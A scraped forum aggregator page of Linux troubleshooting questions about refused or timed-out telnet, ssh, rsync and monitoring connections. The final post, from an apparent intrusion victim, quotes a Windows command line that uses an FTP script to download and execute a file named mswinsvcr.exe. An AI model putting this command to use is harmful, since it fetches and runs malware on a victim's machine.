General :: NTP - Remote Host Refused An Attempted Connect Operation
Jul 24, 2011
When I do a ntpq -p on my machine I could see the ntp servers configured and it's status:
But when I telnet to ntp server "10.1.35.2" it says A remote host refused an attempted connect operation:
I know * here represents that the machine is in sync with ntp server. My question if the machine is in sync with ntp server, how does it work?why ntp port 123 is connection refused?
View 1 Replies
ADVERTISEMENT
Jul 3, 2011
My system is Ubuntu 11Before I typed "telnet localhost" or "telnet localhost 23". I have make this work below:$sudo apt-get install xinetd$vim /etc/xinetd.conf
defaults{
instances=60
log_type=SYSLOGauthpriv
[code]....
View 1 Replies
View Related
Sep 11, 2009
I did followings:
Code:
But got:
Code:
But as I tried:
Code:
It's OK.
View 1 Replies
View Related
Mar 26, 2011
lpr: can't connect to remote host (127.0.0.1): Connection refused
[root@l-GZ:/]# usb 1-1: new full speed USB device using sl811-hcd and address 3
View 2 Replies
View Related
Jul 5, 2010
I am using TomCat6 with Ubuntu Server 9.10 x64. I successfully configured to iptables to redirect the port "443" to "8443" (Tomcat SSL), using this command:
[code]...
View 5 Replies
View Related
Jul 16, 2010
when i try a telnet to a host like that: telnet 10.10.10.10 1234 i got this: telnet: Unable to connect to remote host: Connection refused.
1/ does this mean that the problem is not due to a firewall, but that the host 10.10.10.10 doesn't listen on the port 1234? other way does this mean that my firewall is authorizing traffic on the port 1234?
and when i try a telnet on another port like that: telnet 10.10.10.10 1235 i get: Trying 10.10.10.10 ...
in this case this
2/ does this mean that the firewall is blocking the traffic between my host and the 10.10.10.10 on the port 1235?
View 1 Replies
View Related
Jun 12, 2011
I am running CentOS 5.1 on VMware on Win 7 On CentOS I added Bridged network adapter and the server is connected to internet without any problems, but when I telnet any server on port 25 I get connection timeout.
Code:
telnet f.mx.mail.yahoo.com 25
Trying 98.137.54.237...
telnet: connect to address 98.137.54.237: Connection timed out
telnet: Unable to connect to remote host: Connection timed out
I stopped all servers, iptables and sendmail on the linux server and the firewalls on the win 7 but still getting the same error! I added new network adapter ( host-only ) and tried to telnet the win machine from vmware Linux but I got connection refused
Code:
telnet 192.168.71.1 25
Trying 192.168.71.1...
telnet: connect to address 192.168.71.1: Connection refused
telnet: Unable to connect to remote host: Connection refused
[code]....
View 4 Replies
View Related
Nov 10, 2010
When i am trying to telnet to a machine connected in our LAN ..
telnet: Unable to connect to remote host: Connection refused
What's the reason for this? how do i establish a connection? I am using ubuntu 10.04.
View 8 Replies
View Related
Feb 5, 2009
telnet localhost the output is...
Trying 127.0.0.1...
telnet: connect to address 127.0.0.1: Connection refused
telnet: Unable to connect to remote host: Connection refused
I don't understand what is the problem. Its not configured properly how do i configure it?
View 7 Replies
View Related
Nov 26, 2010
I am doing some R&D on 11g RMAN in oracle at home. i have installed oracle enterprise linux and i have installed oracle software. when i am trying to configure listener, it is error-ed out. i have verified that telnet with the port is not working and i am seeing connection refused error.
View 3 Replies
View Related
Feb 11, 2009
I'm trying to connect with my server via telnet, but when i sent the command (telnet xxx.xxx.xxx.xxx Port) doesn't works and shows then follow error: Unable to connect to remote host: Connection refused, It happens with any port. Is strange but my telnet services works (telnet xxx.xxx.xxx.xxx), In addition, i tried with firewall enabled and disabled and the problem still happens. My centOS run on virtualbox.
View 3 Replies
View Related
May 11, 2010
I'm trying to make an SSH script for my place of employment. This script, I want to go out to the server hostnames we have specified (in another file) and change a users account password. We use Kerberized telnet, so if telnet root hostname fails, I want it to use ssh username hostname and use the old password (specified). If both fail, I want it to ask the user what the port should be and input the port in the ssh command.
But I'm having a issue having it try telnet root hostname and if it fails then, try to ssh in, I have no clue how to have it proceed. Is it an if statement? Here's the telnet failed message: telnet: Unable to connect to remote host: Connection refused
View 7 Replies
View Related
Dec 7, 2010
I am getting this error message on ktorrent on slackware 13.1 64. Few days ago I was using ktorrent for torrent downloads and it was fine, but not i can't star any download or any kind of torrent, it just keeps returning the error and it's not working at all.
View 1 Replies
View Related
Dec 11, 2010
I cannot use GRsync from Ubuntu Desktop to PCLinuxOS laptop.The 2 computers can ping each other. I have disabled both firewalls. My laptop IP address is 192.168.1.11This is the error on Ubuntu Grsync:
ssh: connect to host 192.168.1.11 port 22: Connection refused
rsync: connection unexpectedly closed (0 bytes received so far) [sender]
rsync error: error in rsync protocol data stream (code 12) at io.c(601) [sender=3.0.7]
Rsync process exit status: 12
On PCLinuxOS it wont say Ethernet is connected when trying a static address setup.However it does connect to the internet via auto Ethernet setup and a LAN cable. It then says connected. In order to use SSH and GRsync what programs are required? I have these installed on both machines: grsync openssh-client openssh-server
View 5 Replies
View Related
Jun 15, 2011
I am facing trouble to scp from server to to my local machine where as the vice-vesra is working fine.
The error is like below.
lost connection
View 4 Replies
View Related
Sep 12, 2010
I have become convinced that rsync for CentOS 5 is broken. I'm trying to set up automatic backups between 2 servers in 2 different countries using rsync under CentOS 5.I can get manual backups to work between the 2 servers by doing two things I shouldn't need to do, but automatic backups fail and I see no solution.Here are the problems I am encountering: According to the instructions I've read everywhere, I am to set up two configuration files:
/etc/rsyncd.conf
/etc/rsyncd.secrets
When I run rsync from root, it apparently just totally ignores these two files. No custom greeting, no log, no password used.
Even when I specify --password-file=/etc/rsyncd.secrets in the command line, it still ignores it. I am prompted and I must enter the password manually. Let me back up a moment. After first installing rsync, when I ran any command to access the root server, I get this error:
ssh: connect to host 111.222.33.44 port 22: Connection refused
rsync: connection unexpectedly closed (0 bytes received so far) [sender]
rsync error: unexplained error (code 255) at io.c(463) [sender=2.6.8]
I read everywhere that rsync uses port 873, not port 22 which is used for SSH. Why is rsync on CentOS trying to use port 22?I have SSH switched from port 22 to another port (let's call it 5432 here) and block port 22.So, I have added this to the command line:
--rsh='ssh -p5432'
Then I get a connection ...
... but it prompts me for my password. It doesn't matter that I have my username and password, same one, in /etc/rsyncd.secrets on both servers. It still asks.And it rejects my password!The only way I can get it to connect is by creating an SSH user on the remote server for this.Even then, rsync STILL prompts me for a password, even though:
1. the username and password are specified in the /etc/rsyncd.secrets files on both servers
2. I've added the command line parameter --password-file=/etc/rsyncd.secrets Therefore, it is totally impossible to use an any cron job or other automatic synchronization, under CentOS 5.
rsync -av --password-file=/etc/rsyncd.secrets --rsh='ssh -p5432' sourcefiles* rsyncusername@111.222.33.44:httpdocs/rsync
rsync -av --password-file=/etc/rsyncd.secrets --rsh='ssh -p5432' sourcefiles* 111.222.33.44:httpdocs/rsync
rsync -av --verbose --progress --stats --password-file=/etc/rsyncd.secrets --rsh='ssh -p5432' sourcefiles* rsyncusername@111.222.33.44:httpdocs/rsync
Yes, I have made sure that I have the latest rsync. I have run yum update for everything.Yes, I have double checked, triple checked, and quadruple checked my config files.
View 2 Replies
View Related
Nov 27, 2010
I have my desktop computer (running F13) configured to accept ssh over port 22 via the firewall configuration tool. If I type ifconfig -a, this computer, which is running on my wireless network, tells me:
Code:
inet addr:192.168.1.100 Bcast:192.168.1.255 Mask:255.255.255.0
However, if I go to my laptop computer (also running F13) and try and ssh into the desktop, i.e. ssh icthy@192.168.1.100, I get this response:
Code:
ssh: connect to host 192.168.1.100 port 22: Connection refused.
I guess I am confused to what is blocking the connection? Is there another means on F13 other than the default Firewall? I haven't really messed with the network at all. For what it's worth, I am hoping to set things up so I can just ssh into the computer name, (ssh icthy@desktop) eventually, but want to start with the IP. So, can anyone offer a hint as to what I can look for that is blocking port 22?
View 3 Replies
View Related
Feb 20, 2010
I am getting "ssh:connect to host restart port 22: Connection refused" error when trying to start "ssh" in Ubuntu. I uncommented the port 22 in ssh_config, I dont have iptables setup...Did try to check if the port is listening using the netstat -an | grep "LISTEN" & couldnt find.
View 9 Replies
View Related
Jul 21, 2011
I'm having problems with ssh and don't know what else to do. I keep getting "ssh: connect to host stop port 22: Connection refused" when i try to stop or start ssh:
[Code]....
View 2 Replies
View Related
Feb 19, 2010
I am getting "ssh:connect to host restart port 22: Connection refused" error when trying to start "ssh" in Ubuntu. I uncommented the port 22 in ssh_config, I dont have iptables setup...Did try to check if the port is listening using the netstat -an | grep "LISTEN" & couldnt find.
View 14 Replies
View Related
May 4, 2011
I have installed ubuntu 11.04 and I'm now trying to connect to existing SUSE servers on the LAN. My home directory has a shared NFS mounted home on the SUSE servers while my home on the ubuntu machine is local. I can log in using ssh to all the SUSE servers except one. I get:
ssh: connect to host srv3 port 22: Connection refused
If I use the IP address of srv3 directly it works. Also, before I changed the default machine name ("ubuntu") I could log into srv3.
nslookup srv3 works OK.
ping srv3 works OK.
Even if I completely delete the .ssh directory in both my ubuntu home and in my shared home on the SUSE servers I still cannot log in using the srv3 name, only direct IP address works. I'm thinking that the login I did to srv3 before I changed the machine name for the ububtu machine must have goofed up something
View 2 Replies
View Related
Jan 15, 2011
When I try to connect to my SUSE server from other one this appears: Remote host identification has changed. I deleted entry in know_hosts but it still working wrong, showing me this message. What could be the cause of this problem??
View 1 Replies
View Related
Feb 5, 2009
have fedora 10 and am having problems with ssh. For some reason I can't connect via a remote host to my ssh. Local network connections do work just fine. I have been looking for a log of what is going on but have not had luck seeing anything.Things I have tried:
-Modify hosts.allow to allow ssh to all
-generated rsa1 key identity tryed specifying that with the -i option on the guest computer
[code]...
View 1 Replies
View Related
Jun 4, 2011
I installed dovecot on my server and now the imap and pop3 ports are open.But when I want to telnet it, it's not possible.Code: Trying 127.0.0.1...telnet: Unable to connect to remote host: Connection timed out.Also I can't any ports else. But I can connect to it from other computers. I tried to connect to this from my PC and it was successful.
View 7 Replies
View Related
Nov 1, 2010
Is there any way to do remote desktop from Mac (Snow Leopard) to Centos 5.5?I have turned on remote desktop in Centos and got the address ([url].....) to access remotely. Then I installed vnc-Viewer in my Mac. Put the address like (mypcname.com:0) then clicked connect. I get error message "Failed to connect: Operation timed out (60)".My Mac and Cenotos is in the same network.
View 4 Replies
View Related
Jan 13, 2010
Is the following sendmail scenario possible? If yes, what modification(s) should be made, in order to work?
system1 with host1 - where the sendmail is executed
system2 with host2 - where the destination email address is stored
When trying to sendmail from host1 to an email address stored on host2. but with the format username@host1, the sendmail service returns Connection refused by host1.
View 2 Replies
View Related
Dec 13, 2010
I did a clean install of the latest version of Ubuntu. For some reason, there are still internet-issues. When I tried out the following command
Code:
telnet
open ftp.microsoft.com 21
I got
Code:
telnet: Unable to connect to remote host: Connection timed out
Also, during install of the new ubuntu, it was unable to reach the repos for downloading. Odd thing is that I can go online, and that when I type 'ftp.microsoft.com' in my browser, it displays the file-hierarchy.
View 1 Replies
View Related
May 23, 2011
I am trying to monitorize an OpenWRT (Backfire 10.03, r23115) router from an Ubuntu server, but I am having some problems. I have installed Nrpe (2.12) on the remote host (OpenWRT), I have executed the program as a deamon (/usr/sbin/nrpe -d) but when I start the NRPE deamon, I don't get anything about NRPE executing netstat -at or ps -ef.I would need to install check_nrpe on OpenWRT to find out if NRPE is working, but I can't find any ipk package with it. Now, once in the monitoring host when I try to reach the remote host from the server:
/usr/local/nagios/libexec/check_nrpe -H ip_remote_host
I get: Connection refused by host
Even, trying with localhost:
/usr/local/nagios/libexec/check_nrpe -H localhost
I get the same error: Connection refused by host
I have installed Nagios Plugins and the check_nrpe plugin. I have edited the /etc/nrpe.cfg file:
allowed_hosts=127.0.0.1 ip_server
I don't exactly know if it is remote host's fault, monitoring host's fault or both.
View 14 Replies
View Related
Mar 9, 2011
I'm trying to ssh from my laptop to my desktop (both fedora 14) over a local network. I can ping my desktop and get responses, but if I ssh to it, I receive
ssh: connect to host 192.168.100.xxx port 22: No route to host
I can ssh from the desktop to itself.
View 4 Replies
View Related
Jul 20, 2010
I was running ubuntu 10.04 on a school laptop connected to the network. I was editing a file in emacs on an ssh connection to a school server when all of a sudden I see the remote desktop graphic (a thing that looks like a widescreen monitor) pop up in the top panel. A second later it announces that someone else has connected to my computer with 'ffff:someip'. I'm not sure of the specifics because I was too shocked. I do remember it started with some number of f's before a : The hacker then started typing
Code:
%systemroot%system32cmd.exe
del eq&e
I promptly yanked out the ethernet cable before anything else could be typed. I then went in and changed the Remote Desktop preferences to not allow anyone in. I'm guessing that I cut the hacker off from fully entering in a command similar to this:
Code:
%systemroot%system32cmd.exe
del eq&echo open 0.0.0.0 13643 >> eq&echo user 13302 30046 >> eq &echo get
mswinsvcr.exe >> eq &echo quit >> eq &ftp -n -s:eq &mswinsvcr.exe &del eq
which I found here: [URL]
How concerned should I be? It appears to be a windows hack. Did I prevent any damage from occurring? Is Remote Desktop really that easy to connect to another persons computer? I know this question is bait in a way. On my home machines I only allow vnc via ssh tunnels and that is through a router with proper port forwarding for the ssh ports and very few other ports forwarded. Such an attack has never happened to me at home. Is this possibly due to my setup or was I just lucky no one picked my computer to hack? So is the ssh tunnel & port forwarding a sufficiently safe setup or am I still at risk?
What degree of protection does the ssh tunnel and port forwarding provide? What else should I do to make my current home setup even more secure? The text I wrote above was the only text typed into the terminal. Because the attack was over Remote Desktop, what is the possibility that it was a bot? The text appeared slow enough for me to think that there was a person rather than a machine/program typing in the text. Does the Remote Desktop connection in a way provide a level of abstraction that prevents scripts as commands must be typed in through the Remote Desktop connection (vs. a ssh connection where a script might more easily be uploaded and executed)?
In the end I'm curious as to what else might have been accessed over the connection or if it was probably just restricted to the hacker attempting to run some windows commands? Since they connected via Remote Desktop and I saw the connection pop up and the typing begin in my terminal, did I see everything that the hacker attempted to perform? Am I correct in my research in finding that there is no log for Remote Desktop connections and therefore I can't find the ip they were connecting from? However, I would like to use this as a wake up call to myself to prevent unwanted access on my home computers.
View 9 Replies
View Related